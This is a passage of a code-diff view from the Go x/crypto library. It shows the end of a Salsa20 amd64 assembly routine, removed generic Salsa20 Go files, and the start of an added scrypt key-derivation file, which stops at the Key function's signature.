MOVOA X2,X12
PSLLL $18,X2
PXOR X2,X0
PSRLL $14,X12
PXOR X12,X0
MOVOA X5,X2
PADDL X1,X2
MOVOA X2,X12
PSLLL $7,X2
PXOR X2,X3
PSRLL $25,X12
PXOR X12,X3
MOVOA 336(R12),X2
MOVOA X0,336(R12)
MOVOA X6,X0
PADDL X2,X0
MOVOA X0,X12
PSLLL $7,X0
PXOR X0,X4
PSRLL $25,X12
PXOR X12,X4
MOVOA X1,X0
PADDL X3,X0
MOVOA X0,X12
PSLLL $9,X0
PXOR X0,X10
PSRLL $23,X12
PXOR X12,X10
MOVOA X2,X0
PADDL X4,X0
MOVOA X0,X12
PSLLL $9,X0
PXOR X0,X8
PSRLL $23,X12
PXOR X12,X8
MOVOA X3,X0
PADDL X10,X0
MOVOA X0,X12
PSLLL $13,X0
PXOR X0,X5
PSRLL $19,X12
PXOR X12,X5
MOVOA X4,X0
PADDL X8,X0
MOVOA X0,X12
PSLLL $13,X0
PXOR X0,X6
PSRLL $19,X12
PXOR X12,X6
MOVOA X10,X0
PADDL X5,X0
MOVOA X0,X12
PSLLL $18,X0
PXOR X0,X1
PSRLL $14,X12
PXOR X12,X1
MOVOA 320(R12),X0
MOVOA X1,320(R12)
MOVOA X4,X1
PADDL X0,X1
MOVOA X1,X12
PSLLL $7,X1
PXOR X1,X7
PSRLL $25,X12
PXOR X12,X7
MOVOA X8,X1
PADDL X6,X1
MOVOA X1,X12
PSLLL $18,X1
PXOR X1,X2
PSRLL $14,X12
PXOR X12,X2
MOVOA 336(R12),X12
MOVOA X2,336(R12)
MOVOA X14,X1
PADDL X12,X1
MOVOA X1,X2
PSLLL $7,X1
PXOR X1,X5
PSRLL $25,X2
PXOR X2,X5
MOVOA X0,X1
PADDL X7,X1
MOVOA X1,X2
PSLLL $9,X1
PXOR X1,X10
PSRLL $23,X2
PXOR X2,X10
MOVOA X12,X1
PADDL X5,X1
MOVOA X1,X2
PSLLL $9,X1
PXOR X1,X8
PSRLL $23,X2
PXOR X2,X8
MOVOA X7,X1
PADDL X10,X1
MOVOA X1,X2
PSLLL $13,X1
PXOR X1,X4
PSRLL $19,X2
PXOR X2,X4
MOVOA X5,X1
PADDL X8,X1
MOVOA X1,X2
PSLLL $13,X1
PXOR X1,X14
PSRLL $19,X2
PXOR X2,X14
MOVOA X10,X1
PADDL X4,X1
MOVOA X1,X2
PSLLL $18,X1
PXOR X1,X0
PSRLL $14,X2
PXOR X2,X0
MOVOA 320(R12),X1
MOVOA X0,320(R12)
MOVOA X8,X0
PADDL X14,X0
MOVOA X0,X2
PSLLL $18,X0
PXOR X0,X12
PSRLL $14,X2
PXOR X2,X12
MOVOA X11,X0
PADDL X1,X0
MOVOA X0,X2
PSLLL $7,X0
PXOR X0,X6
PSRLL $25,X2
PXOR X2,X6
MOVOA 336(R12),X2
MOVOA X12,336(R12)
MOVOA X3,X0
PADDL X2,X0
MOVOA X0,X12
PSLLL $7,X0
PXOR X0,X13
PSRLL $25,X12
PXOR X12,X13
MOVOA X1,X0
PADDL X6,X0
MOVOA X0,X12
PSLLL $9,X0
PXOR X0,X15
PSRLL $23,X12
PXOR X12,X15
MOVOA X2,X0
PADDL X13,X0
MOVOA X0,X12
PSLLL $9,X0
PXOR X0,X9
PSRLL $23,X12
PXOR X12,X9
MOVOA X6,X0
PADDL X15,X0
MOVOA X0,X12
PSLLL $13,X0
PXOR X0,X11
PSRLL $19,X12
PXOR X12,X11
MOVOA X13,X0
PADDL X9,X0
MOVOA X0,X12
PSLLL $13,X0
PXOR X0,X3
PSRLL $19,X12
PXOR X12,X3
MOVOA X15,X0
PADDL X11,X0
MOVOA X0,X12
PSLLL $18,X0
PXOR X0,X1
PSRLL $14,X12
PXOR X12,X1
MOVOA X9,X0
PADDL X3,X0
MOVOA X0,X12
PSLLL $18,X0
PXOR X0,X2
PSRLL $14,X12
PXOR X12,X2
MOVOA 320(R12),X12
MOVOA 336(R12),X0
SUBQ $2,DX
JA MAINLOOP1
PADDL 112(R12),X12
PADDL 176(R12),X7
PADDL 224(R12),X10
PADDL 272(R12),X4
MOVD X12,DX
MOVD X7,CX
MOVD X10,R8
MOVD X4,R9
PSHUFL $0X39,X12,X12
PSHUFL $0X39,X7,X7
PSHUFL $0X39,X10,X10
PSHUFL $0X39,X4,X4
XORL 0(SI),DX
XORL 4(SI),CX
XORL 8(SI),R8
XORL 12(SI),R9
MOVL DX,0(DI)
MOVL CX,4(DI)
MOVL R8,8(DI)
MOVL R9,12(DI)
MOVD X12,DX
MOVD X7,CX
MOVD X10,R8
MOVD X4,R9
PSHUFL $0X39,X12,X12
PSHUFL $0X39,X7,X7
PSHUFL $0X39,X10,X10
PSHUFL $0X39,X4,X4
XORL 64(SI),DX
XORL 68(SI),CX
XORL 72(SI),R8
XORL 76(SI),R9
MOVL DX,64(DI)
MOVL CX,68(DI)
MOVL R8,72(DI)
MOVL R9,76(DI)
MOVD X12,DX
MOVD X7,CX
MOVD X10,R8
MOVD X4,R9
PSHUFL $0X39,X12,X12
PSHUFL $0X39,X7,X7
PSHUFL $0X39,X10,X10
PSHUFL $0X39,X4,X4
XORL 128(SI),DX
XORL 132(SI),CX
XORL 136(SI),R8
XORL 140(SI),R9
MOVL DX,128(DI)
MOVL CX,132(DI)
MOVL R8,136(DI)
MOVL R9,140(DI)
MOVD X12,DX
MOVD X7,CX
MOVD X10,R8
MOVD X4,R9
XORL 192(SI),DX
XORL 196(SI),CX
XORL 200(SI),R8
XORL 204(SI),R9
MOVL DX,192(DI)
MOVL CX,196(DI)
MOVL R8,200(DI)
MOVL R9,204(DI)
PADDL 240(R12),X14
PADDL 64(R12),X0
PADDL 128(R12),X5
PADDL 192(R12),X8
MOVD X14,DX
MOVD X0,CX
MOVD X5,R8
MOVD X8,R9
PSHUFL $0X39,X14,X14
PSHUFL $0X39,X0,X0
PSHUFL $0X39,X5,X5
PSHUFL $0X39,X8,X8
XORL 16(SI),DX
XORL 20(SI),CX
XORL 24(SI),R8
XORL 28(SI),R9
MOVL DX,16(DI)
MOVL CX,20(DI)
MOVL R8,24(DI)
MOVL R9,28(DI)
MOVD X14,DX
MOVD X0,CX
MOVD X5,R8
MOVD X8,R9
PSHUFL $0X39,X14,X14
PSHUFL $0X39,X0,X0
PSHUFL $0X39,X5,X5
PSHUFL $0X39,X8,X8
XORL 80(SI),DX
XORL 84(SI),CX
XORL 88(SI),R8
XORL 92(SI),R9
MOVL DX,80(DI)
MOVL CX,84(DI)
MOVL R8,88(DI)
MOVL R9,92(DI)
MOVD X14,DX
MOVD X0,CX
MOVD X5,R8
MOVD X8,R9
PSHUFL $0X39,X14,X14
PSHUFL $0X39,X0,X0
PSHUFL $0X39,X5,X5
PSHUFL $0X39,X8,X8
XORL 144(SI),DX
XORL 148(SI),CX
XORL 152(SI),R8
XORL 156(SI),R9
MOVL DX,144(DI)
MOVL CX,148(DI)
MOVL R8,152(DI)
MOVL R9,156(DI)
MOVD X14,DX
MOVD X0,CX
MOVD X5,R8
MOVD X8,R9
XORL 208(SI),DX
XORL 212(SI),CX
XORL 216(SI),R8
XORL 220(SI),R9
MOVL DX,208(DI)
MOVL CX,212(DI)
MOVL R8,216(DI)
MOVL R9,220(DI)
PADDL 288(R12),X15
PADDL 304(R12),X11
PADDL 80(R12),X1
PADDL 144(R12),X6
MOVD X15,DX
MOVD X11,CX
MOVD X1,R8
MOVD X6,R9
PSHUFL $0X39,X15,X15
PSHUFL $0X39,X11,X11
PSHUFL $0X39,X1,X1
PSHUFL $0X39,X6,X6
XORL 32(SI),DX
XORL 36(SI),CX
XORL 40(SI),R8
XORL 44(SI),R9
MOVL DX,32(DI)
MOVL CX,36(DI)
MOVL R8,40(DI)
MOVL R9,44(DI)
MOVD X15,DX
MOVD X11,CX
MOVD X1,R8
MOVD X6,R9
PSHUFL $0X39,X15,X15
PSHUFL $0X39,X11,X11
PSHUFL $0X39,X1,X1
PSHUFL $0X39,X6,X6
XORL 96(SI),DX
XORL 100(SI),CX
XORL 104(SI),R8
XORL 108(SI),R9
MOVL DX,96(DI)
MOVL CX,100(DI)
MOVL R8,104(DI)
MOVL R9,108(DI)
MOVD X15,DX
MOVD X11,CX
MOVD X1,R8
MOVD X6,R9
PSHUFL $0X39,X15,X15
PSHUFL $0X39,X11,X11
PSHUFL $0X39,X1,X1
PSHUFL $0X39,X6,X6
XORL 160(SI),DX
XORL 164(SI),CX
XORL 168(SI),R8
XORL 172(SI),R9
MOVL DX,160(DI)
MOVL CX,164(DI)
MOVL R8,168(DI)
MOVL R9,172(DI)
MOVD X15,DX
MOVD X11,CX
MOVD X1,R8
MOVD X6,R9
XORL 224(SI),DX
XORL 228(SI),CX
XORL 232(SI),R8
XORL 236(SI),R9
MOVL DX,224(DI)
MOVL CX,228(DI)
MOVL R8,232(DI)
MOVL R9,236(DI)
PADDL 160(R12),X13
PADDL 208(R12),X9
PADDL 256(R12),X3
PADDL 96(R12),X2
MOVD X13,DX
MOVD X9,CX
MOVD X3,R8
MOVD X2,R9
PSHUFL $0X39,X13,X13
PSHUFL $0X39,X9,X9
PSHUFL $0X39,X3,X3
PSHUFL $0X39,X2,X2
XORL 48(SI),DX
XORL 52(SI),CX
XORL 56(SI),R8
XORL 60(SI),R9
MOVL DX,48(DI)
MOVL CX,52(DI)
MOVL R8,56(DI)
MOVL R9,60(DI)
MOVD X13,DX
MOVD X9,CX
MOVD X3,R8
MOVD X2,R9
PSHUFL $0X39,X13,X13
PSHUFL $0X39,X9,X9
PSHUFL $0X39,X3,X3
PSHUFL $0X39,X2,X2
XORL 112(SI),DX
XORL 116(SI),CX
XORL 120(SI),R8
XORL 124(SI),R9
MOVL DX,112(DI)
MOVL CX,116(DI)
MOVL R8,120(DI)
MOVL R9,124(DI)
MOVD X13,DX
MOVD X9,CX
MOVD X3,R8
MOVD X2,R9
PSHUFL $0X39,X13,X13
PSHUFL $0X39,X9,X9
PSHUFL $0X39,X3,X3
PSHUFL $0X39,X2,X2
XORL 176(SI),DX
XORL 180(SI),CX
XORL 184(SI),R8
XORL 188(SI),R9
MOVL DX,176(DI)
MOVL CX,180(DI)
MOVL R8,184(DI)
MOVL R9,188(DI)
MOVD X13,DX
MOVD X9,CX
MOVD X3,R8
MOVD X2,R9
XORL 240(SI),DX
XORL 244(SI),CX
XORL 248(SI),R8
XORL 252(SI),R9
MOVL DX,240(DI)
MOVL CX,244(DI)
MOVL R8,248(DI)
MOVL R9,252(DI)
MOVQ 352(R12),R9
SUBQ $256,R9
ADDQ $256,SI
ADDQ $256,DI
CMPQ R9,$256
JAE BYTESATLEAST256
CMPQ R9,$0
JBE DONE
BYTESBETWEEN1AND255:
CMPQ R9,$64
JAE NOCOPY
MOVQ DI,DX
LEAQ 360(R12),DI
MOVQ R9,CX
REP; MOVSB
LEAQ 360(R12),DI
LEAQ 360(R12),SI
NOCOPY:
MOVQ R9,352(R12)
MOVOA 48(R12),X0
MOVOA 0(R12),X1
MOVOA 16(R12),X2
MOVOA 32(R12),X3
MOVOA X1,X4
MOVQ $20,CX
MAINLOOP2:
PADDL X0,X4
MOVOA X0,X5
MOVOA X4,X6
PSLLL $7,X4
PSRLL $25,X6
PXOR X4,X3
PXOR X6,X3
PADDL X3,X5
MOVOA X3,X4
MOVOA X5,X6
PSLLL $9,X5
PSRLL $23,X6
PXOR X5,X2
PSHUFL $0X93,X3,X3
PXOR X6,X2
PADDL X2,X4
MOVOA X2,X5
MOVOA X4,X6
PSLLL $13,X4
PSRLL $19,X6
PXOR X4,X1
PSHUFL $0X4E,X2,X2
PXOR X6,X1
PADDL X1,X5
MOVOA X3,X4
MOVOA X5,X6
PSLLL $18,X5
PSRLL $14,X6
PXOR X5,X0
PSHUFL $0X39,X1,X1
PXOR X6,X0
PADDL X0,X4
MOVOA X0,X5
MOVOA X4,X6
PSLLL $7,X4
PSRLL $25,X6
PXOR X4,X1
PXOR X6,X1
PADDL X1,X5
MOVOA X1,X4
MOVOA X5,X6
PSLLL $9,X5
PSRLL $23,X6
PXOR X5,X2
PSHUFL $0X93,X1,X1
PXOR X6,X2
PADDL X2,X4
MOVOA X2,X5
MOVOA X4,X6
PSLLL $13,X4
PSRLL $19,X6
PXOR X4,X3
PSHUFL $0X4E,X2,X2
PXOR X6,X3
PADDL X3,X5
MOVOA X1,X4
MOVOA X5,X6
PSLLL $18,X5
PSRLL $14,X6
PXOR X5,X0
PSHUFL $0X39,X3,X3
PXOR X6,X0
PADDL X0,X4
MOVOA X0,X5
MOVOA X4,X6
PSLLL $7,X4
PSRLL $25,X6
PXOR X4,X3
PXOR X6,X3
PADDL X3,X5
MOVOA X3,X4
MOVOA X5,X6
PSLLL $9,X5
PSRLL $23,X6
PXOR X5,X2
PSHUFL $0X93,X3,X3
PXOR X6,X2
PADDL X2,X4
MOVOA X2,X5
MOVOA X4,X6
PSLLL $13,X4
PSRLL $19,X6
PXOR X4,X1
PSHUFL $0X4E,X2,X2
PXOR X6,X1
PADDL X1,X5
MOVOA X3,X4
MOVOA X5,X6
PSLLL $18,X5
PSRLL $14,X6
PXOR X5,X0
PSHUFL $0X39,X1,X1
PXOR X6,X0
PADDL X0,X4
MOVOA X0,X5
MOVOA X4,X6
PSLLL $7,X4
PSRLL $25,X6
PXOR X4,X1
PXOR X6,X1
PADDL X1,X5
MOVOA X1,X4
MOVOA X5,X6
PSLLL $9,X5
PSRLL $23,X6
PXOR X5,X2
PSHUFL $0X93,X1,X1
PXOR X6,X2
PADDL X2,X4
MOVOA X2,X5
MOVOA X4,X6
PSLLL $13,X4
PSRLL $19,X6
PXOR X4,X3
PSHUFL $0X4E,X2,X2
PXOR X6,X3
SUBQ $4,CX
PADDL X3,X5
MOVOA X1,X4
MOVOA X5,X6
PSLLL $18,X5
PXOR X7,X7
PSRLL $14,X6
PXOR X5,X0
PSHUFL $0X39,X3,X3
PXOR X6,X0
JA MAINLOOP2
PADDL 48(R12),X0
PADDL 0(R12),X1
PADDL 16(R12),X2
PADDL 32(R12),X3
MOVD X0,CX
MOVD X1,R8
MOVD X2,R9
MOVD X3,AX
PSHUFL $0X39,X0,X0
PSHUFL $0X39,X1,X1
PSHUFL $0X39,X2,X2
PSHUFL $0X39,X3,X3
XORL 0(SI),CX
XORL 48(SI),R8
XORL 32(SI),R9
XORL 16(SI),AX
MOVL CX,0(DI)
MOVL R8,48(DI)
MOVL R9,32(DI)
MOVL AX,16(DI)
MOVD X0,CX
MOVD X1,R8
MOVD X2,R9
MOVD X3,AX
PSHUFL $0X39,X0,X0
PSHUFL $0X39,X1,X1
PSHUFL $0X39,X2,X2
PSHUFL $0X39,X3,X3
XORL 20(SI),CX
XORL 4(SI),R8
XORL 52(SI),R9
XORL 36(SI),AX
MOVL CX,20(DI)
MOVL R8,4(DI)
MOVL R9,52(DI)
MOVL AX,36(DI)
MOVD X0,CX
MOVD X1,R8
MOVD X2,R9
MOVD X3,AX
PSHUFL $0X39,X0,X0
PSHUFL $0X39,X1,X1
PSHUFL $0X39,X2,X2
PSHUFL $0X39,X3,X3
XORL 40(SI),CX
XORL 24(SI),R8
XORL 8(SI),R9
XORL 56(SI),AX
MOVL CX,40(DI)
MOVL R8,24(DI)
MOVL R9,8(DI)
MOVL AX,56(DI)
MOVD X0,CX
MOVD X1,R8
MOVD X2,R9
MOVD X3,AX
XORL 60(SI),CX
XORL 44(SI),R8
XORL 28(SI),R9
XORL 12(SI),AX
MOVL CX,60(DI)
MOVL R8,44(DI)
MOVL R9,28(DI)
MOVL AX,12(DI)
MOVQ 352(R12),R9
MOVL 16(R12),CX
MOVL 36 (R12),R8
ADDQ $1,CX
SHLQ $32,R8
ADDQ R8,CX
MOVQ CX,R8
SHRQ $32,R8
MOVL CX,16(R12)
MOVL R8, 36 (R12)
CMPQ R9,$64
JA BYTESATLEAST65
JAE BYTESATLEAST64
MOVQ DI,SI
MOVQ DX,DI
MOVQ R9,CX
REP; MOVSB
BYTESATLEAST64:
DONE:
RET
BYTESATLEAST65:
SUBQ $64,R9
ADDQ $64,DI
ADDQ $64,SI
JMP BYTESBETWEEN1AND255
-15
View File
@@ -1,15 +0,0 @@
// Copyright 2019 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
//go:build !amd64 || purego || !gc
// +build !amd64 purego !gc
package salsa
// XORKeyStream crypts bytes from in to out using the given key and counters.
// In and out must overlap entirely or not at all. Counter
// contains the raw salsa20 counter bytes (both nonce and block counter).
func XORKeyStream(out, in []byte, counter *[16]byte, key *[32]byte) {
genericXORKeyStream(out, in, counter, key)
}
-231
View File
@@ -1,231 +0,0 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package salsa
const rounds = 20
// core applies the Salsa20 core function to 16-byte input in, 32-byte key k,
// and 16-byte constant c, and puts the result into 64-byte array out.
func core(out *[64]byte, in *[16]byte, k *[32]byte, c *[16]byte) {
j0 := uint32(c[0]) | uint32(c[1])<<8 | uint32(c[2])<<16 | uint32(c[3])<<24
j1 := uint32(k[0]) | uint32(k[1])<<8 | uint32(k[2])<<16 | uint32(k[3])<<24
j2 := uint32(k[4]) | uint32(k[5])<<8 | uint32(k[6])<<16 | uint32(k[7])<<24
j3 := uint32(k[8]) | uint32(k[9])<<8 | uint32(k[10])<<16 | uint32(k[11])<<24
j4 := uint32(k[12]) | uint32(k[13])<<8 | uint32(k[14])<<16 | uint32(k[15])<<24
j5 := uint32(c[4]) | uint32(c[5])<<8 | uint32(c[6])<<16 | uint32(c[7])<<24
j6 := uint32(in[0]) | uint32(in[1])<<8 | uint32(in[2])<<16 | uint32(in[3])<<24
j7 := uint32(in[4]) | uint32(in[5])<<8 | uint32(in[6])<<16 | uint32(in[7])<<24
j8 := uint32(in[8]) | uint32(in[9])<<8 | uint32(in[10])<<16 | uint32(in[11])<<24
j9 := uint32(in[12]) | uint32(in[13])<<8 | uint32(in[14])<<16 | uint32(in[15])<<24
j10 := uint32(c[8]) | uint32(c[9])<<8 | uint32(c[10])<<16 | uint32(c[11])<<24
j11 := uint32(k[16]) | uint32(k[17])<<8 | uint32(k[18])<<16 | uint32(k[19])<<24
j12 := uint32(k[20]) | uint32(k[21])<<8 | uint32(k[22])<<16 | uint32(k[23])<<24
j13 := uint32(k[24]) | uint32(k[25])<<8 | uint32(k[26])<<16 | uint32(k[27])<<24
j14 := uint32(k[28]) | uint32(k[29])<<8 | uint32(k[30])<<16 | uint32(k[31])<<24
j15 := uint32(c[12]) | uint32(c[13])<<8 | uint32(c[14])<<16 | uint32(c[15])<<24
x0, x1, x2, x3, x4, x5, x6, x7, x8 := j0, j1, j2, j3, j4, j5, j6, j7, j8
x9, x10, x11, x12, x13, x14, x15 := j9, j10, j11, j12, j13, j14, j15
for i := 0; i < rounds; i += 2 {
u := x0 + x12
x4 ^= u<<7 | u>>(32-7)
u = x4 + x0
x8 ^= u<<9 | u>>(32-9)
u = x8 + x4
x12 ^= u<<13 | u>>(32-13)
u = x12 + x8
x0 ^= u<<18 | u>>(32-18)
u = x5 + x1
x9 ^= u<<7 | u>>(32-7)
u = x9 + x5
x13 ^= u<<9 | u>>(32-9)
u = x13 + x9
x1 ^= u<<13 | u>>(32-13)
u = x1 + x13
x5 ^= u<<18 | u>>(32-18)
u = x10 + x6
x14 ^= u<<7 | u>>(32-7)
u = x14 + x10
x2 ^= u<<9 | u>>(32-9)
u = x2 + x14
x6 ^= u<<13 | u>>(32-13)
u = x6 + x2
x10 ^= u<<18 | u>>(32-18)
u = x15 + x11
x3 ^= u<<7 | u>>(32-7)
u = x3 + x15
x7 ^= u<<9 | u>>(32-9)
u = x7 + x3
x11 ^= u<<13 | u>>(32-13)
u = x11 + x7
x15 ^= u<<18 | u>>(32-18)
u = x0 + x3
x1 ^= u<<7 | u>>(32-7)
u = x1 + x0
x2 ^= u<<9 | u>>(32-9)
u = x2 + x1
x3 ^= u<<13 | u>>(32-13)
u = x3 + x2
x0 ^= u<<18 | u>>(32-18)
u = x5 + x4
x6 ^= u<<7 | u>>(32-7)
u = x6 + x5
x7 ^= u<<9 | u>>(32-9)
u = x7 + x6
x4 ^= u<<13 | u>>(32-13)
u = x4 + x7
x5 ^= u<<18 | u>>(32-18)
u = x10 + x9
x11 ^= u<<7 | u>>(32-7)
u = x11 + x10
x8 ^= u<<9 | u>>(32-9)
u = x8 + x11
x9 ^= u<<13 | u>>(32-13)
u = x9 + x8
x10 ^= u<<18 | u>>(32-18)
u = x15 + x14
x12 ^= u<<7 | u>>(32-7)
u = x12 + x15
x13 ^= u<<9 | u>>(32-9)
u = x13 + x12
x14 ^= u<<13 | u>>(32-13)
u = x14 + x13
x15 ^= u<<18 | u>>(32-18)
}
x0 += j0
x1 += j1
x2 += j2
x3 += j3
x4 += j4
x5 += j5
x6 += j6
x7 += j7
x8 += j8
x9 += j9
x10 += j10
x11 += j11
x12 += j12
x13 += j13
x14 += j14
x15 += j15
out[0] = byte(x0)
out[1] = byte(x0 >> 8)
out[2] = byte(x0 >> 16)
out[3] = byte(x0 >> 24)
out[4] = byte(x1)
out[5] = byte(x1 >> 8)
out[6] = byte(x1 >> 16)
out[7] = byte(x1 >> 24)
out[8] = byte(x2)
out[9] = byte(x2 >> 8)
out[10] = byte(x2 >> 16)
out[11] = byte(x2 >> 24)
out[12] = byte(x3)
out[13] = byte(x3 >> 8)
out[14] = byte(x3 >> 16)
out[15] = byte(x3 >> 24)
out[16] = byte(x4)
out[17] = byte(x4 >> 8)
out[18] = byte(x4 >> 16)
out[19] = byte(x4 >> 24)
out[20] = byte(x5)
out[21] = byte(x5 >> 8)
out[22] = byte(x5 >> 16)
out[23] = byte(x5 >> 24)
out[24] = byte(x6)
out[25] = byte(x6 >> 8)
out[26] = byte(x6 >> 16)
out[27] = byte(x6 >> 24)
out[28] = byte(x7)
out[29] = byte(x7 >> 8)
out[30] = byte(x7 >> 16)
out[31] = byte(x7 >> 24)
out[32] = byte(x8)
out[33] = byte(x8 >> 8)
out[34] = byte(x8 >> 16)
out[35] = byte(x8 >> 24)
out[36] = byte(x9)
out[37] = byte(x9 >> 8)
out[38] = byte(x9 >> 16)
out[39] = byte(x9 >> 24)
out[40] = byte(x10)
out[41] = byte(x10 >> 8)
out[42] = byte(x10 >> 16)
out[43] = byte(x10 >> 24)
out[44] = byte(x11)
out[45] = byte(x11 >> 8)
out[46] = byte(x11 >> 16)
out[47] = byte(x11 >> 24)
out[48] = byte(x12)
out[49] = byte(x12 >> 8)
out[50] = byte(x12 >> 16)
out[51] = byte(x12 >> 24)
out[52] = byte(x13)
out[53] = byte(x13 >> 8)
out[54] = byte(x13 >> 16)
out[55] = byte(x13 >> 24)
out[56] = byte(x14)
out[57] = byte(x14 >> 8)
out[58] = byte(x14 >> 16)
out[59] = byte(x14 >> 24)
out[60] = byte(x15)
out[61] = byte(x15 >> 8)
out[62] = byte(x15 >> 16)
out[63] = byte(x15 >> 24)
}
// genericXORKeyStream is the generic implementation of XORKeyStream to be used
// when no assembly implementation is available.
func genericXORKeyStream(out, in []byte, counter *[16]byte, key *[32]byte) {
var block [64]byte
var counterCopy [16]byte
copy(counterCopy[:], counter[:])
for len(in) >= 64 {
core(&block, &counterCopy, key, &Sigma)
for i, x := range block {
out[i] = in[i] ^ x
}
u := uint32(1)
for i := 8; i < 16; i++ {
u += uint32(counterCopy[i])
counterCopy[i] = byte(u)
u >>= 8
}
in = in[64:]
out = out[64:]
}
if len(in) > 0 {
core(&block, &counterCopy, key, &Sigma)
for i, v := range in {
out[i] = v ^ block[i]
}
}
}
+212
View File
@@ -0,0 +1,212 @@
// Copyright 2012 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package scrypt implements the scrypt key derivation function as defined in
// Colin Percival's paper "Stronger Key Derivation via Sequential Memory-Hard
// Functions" (https://www.tarsnap.com/scrypt/scrypt.pdf).
package scrypt // import "golang.org/x/crypto/scrypt"
import (
"crypto/sha256"
"encoding/binary"
"errors"
"math/bits"
"golang.org/x/crypto/pbkdf2"
)
const maxInt = int(^uint(0) >> 1)
// blockCopy copies n numbers from src into dst.
func blockCopy(dst, src []uint32, n int) {
copy(dst, src[:n])
}
// blockXOR XORs numbers from dst with n numbers from src.
func blockXOR(dst, src []uint32, n int) {
for i, v := range src[:n] {
dst[i] ^= v
}
}
// salsaXOR applies Salsa20/8 to the XOR of 16 numbers from tmp and in,
// and puts the result into both tmp and out.
func salsaXOR(tmp *[16]uint32, in, out []uint32) {
w0 := tmp[0] ^ in[0]
w1 := tmp[1] ^ in[1]
w2 := tmp[2] ^ in[2]
w3 := tmp[3] ^ in[3]
w4 := tmp[4] ^ in[4]
w5 := tmp[5] ^ in[5]
w6 := tmp[6] ^ in[6]
w7 := tmp[7] ^ in[7]
w8 := tmp[8] ^ in[8]
w9 := tmp[9] ^ in[9]
w10 := tmp[10] ^ in[10]
w11 := tmp[11] ^ in[11]
w12 := tmp[12] ^ in[12]
w13 := tmp[13] ^ in[13]
w14 := tmp[14] ^ in[14]
w15 := tmp[15] ^ in[15]
x0, x1, x2, x3, x4, x5, x6, x7, x8 := w0, w1, w2, w3, w4, w5, w6, w7, w8
x9, x10, x11, x12, x13, x14, x15 := w9, w10, w11, w12, w13, w14, w15
for i := 0; i < 8; i += 2 {
x4 ^= bits.RotateLeft32(x0+x12, 7)
x8 ^= bits.RotateLeft32(x4+x0, 9)
x12 ^= bits.RotateLeft32(x8+x4, 13)
x0 ^= bits.RotateLeft32(x12+x8, 18)
x9 ^= bits.RotateLeft32(x5+x1, 7)
x13 ^= bits.RotateLeft32(x9+x5, 9)
x1 ^= bits.RotateLeft32(x13+x9, 13)
x5 ^= bits.RotateLeft32(x1+x13, 18)
x14 ^= bits.RotateLeft32(x10+x6, 7)
x2 ^= bits.RotateLeft32(x14+x10, 9)
x6 ^= bits.RotateLeft32(x2+x14, 13)
x10 ^= bits.RotateLeft32(x6+x2, 18)
x3 ^= bits.RotateLeft32(x15+x11, 7)
x7 ^= bits.RotateLeft32(x3+x15, 9)
x11 ^= bits.RotateLeft32(x7+x3, 13)
x15 ^= bits.RotateLeft32(x11+x7, 18)
x1 ^= bits.RotateLeft32(x0+x3, 7)
x2 ^= bits.RotateLeft32(x1+x0, 9)
x3 ^= bits.RotateLeft32(x2+x1, 13)
x0 ^= bits.RotateLeft32(x3+x2, 18)
x6 ^= bits.RotateLeft32(x5+x4, 7)
x7 ^= bits.RotateLeft32(x6+x5, 9)
x4 ^= bits.RotateLeft32(x7+x6, 13)
x5 ^= bits.RotateLeft32(x4+x7, 18)
x11 ^= bits.RotateLeft32(x10+x9, 7)
x8 ^= bits.RotateLeft32(x11+x10, 9)
x9 ^= bits.RotateLeft32(x8+x11, 13)
x10 ^= bits.RotateLeft32(x9+x8, 18)
x12 ^= bits.RotateLeft32(x15+x14, 7)
x13 ^= bits.RotateLeft32(x12+x15, 9)
x14 ^= bits.RotateLeft32(x13+x12, 13)
x15 ^= bits.RotateLeft32(x14+x13, 18)
}
x0 += w0
x1 += w1
x2 += w2
x3 += w3
x4 += w4
x5 += w5
x6 += w6
x7 += w7
x8 += w8
x9 += w9
x10 += w10
x11 += w11
x12 += w12
x13 += w13
x14 += w14
x15 += w15
out[0], tmp[0] = x0, x0
out[1], tmp[1] = x1, x1
out[2], tmp[2] = x2, x2
out[3], tmp[3] = x3, x3
out[4], tmp[4] = x4, x4
out[5], tmp[5] = x5, x5
out[6], tmp[6] = x6, x6
out[7], tmp[7] = x7, x7
out[8], tmp[8] = x8, x8
out[9], tmp[9] = x9, x9
out[10], tmp[10] = x10, x10
out[11], tmp[11] = x11, x11
out[12], tmp[12] = x12, x12
out[13], tmp[13] = x13, x13
out[14], tmp[14] = x14, x14
out[15], tmp[15] = x15, x15
}
func blockMix(tmp *[16]uint32, in, out []uint32, r int) {
blockCopy(tmp[:], in[(2*r-1)*16:], 16)
for i := 0; i < 2*r; i += 2 {
salsaXOR(tmp, in[i*16:], out[i*8:])
salsaXOR(tmp, in[i*16+16:], out[i*8+r*16:])
}
}
func integer(b []uint32, r int) uint64 {
j := (2*r - 1) * 16
return uint64(b[j]) | uint64(b[j+1])<<32
}
func smix(b []byte, r, N int, v, xy []uint32) {
var tmp [16]uint32
R := 32 * r
x := xy
y := xy[R:]
j := 0
for i := 0; i < R; i++ {
x[i] = binary.LittleEndian.Uint32(b[j:])
j += 4
}
for i := 0; i < N; i += 2 {
blockCopy(v[i*R:], x, R)
blockMix(&tmp, x, y, r)
blockCopy(v[(i+1)*R:], y, R)
blockMix(&tmp, y, x, r)
}
for i := 0; i < N; i += 2 {
j := int(integer(x, r) & uint64(N-1))
blockXOR(x, v[j*R:], R)
blockMix(&tmp, x, y, r)
j = int(integer(y, r) & uint64(N-1))
blockXOR(y, v[j*R:], R)
blockMix(&tmp, y, x, r)
}
j = 0
for _, v := range x[:R] {
binary.LittleEndian.PutUint32(b[j:], v)
j += 4
}
}
// Key derives a key from the password, salt, and cost parameters, returning
// a byte slice of length keyLen that can be used as cryptographic key.
//
// N is a CPU/memory cost parameter, which must be a power of two greater than 1.
// r and p must satisfy r * p < 2³⁰. If the parameters do not satisfy the
// limits, the function returns a nil byte slice and an error.
//
// For example, you can get a derived key for e.g. AES-256 (which needs a
// 32-byte key) by doing:
//
// dk, err := scrypt.Key([]byte("some password"), salt, 32768, 8, 1, 32)
//
// The recommended parameters for interactive logins as of 2017 are N=32768, r=8
// and p=1. The parameters N, r, and p should be increased as memory latency and
// CPU parallelism increases; consider setting N to the highest power of 2 you
// can derive within 100 milliseconds. Remember to get a good random salt.
func Key(password, salt []byte, N, r, p, keyLen int) ([]byte, error) {
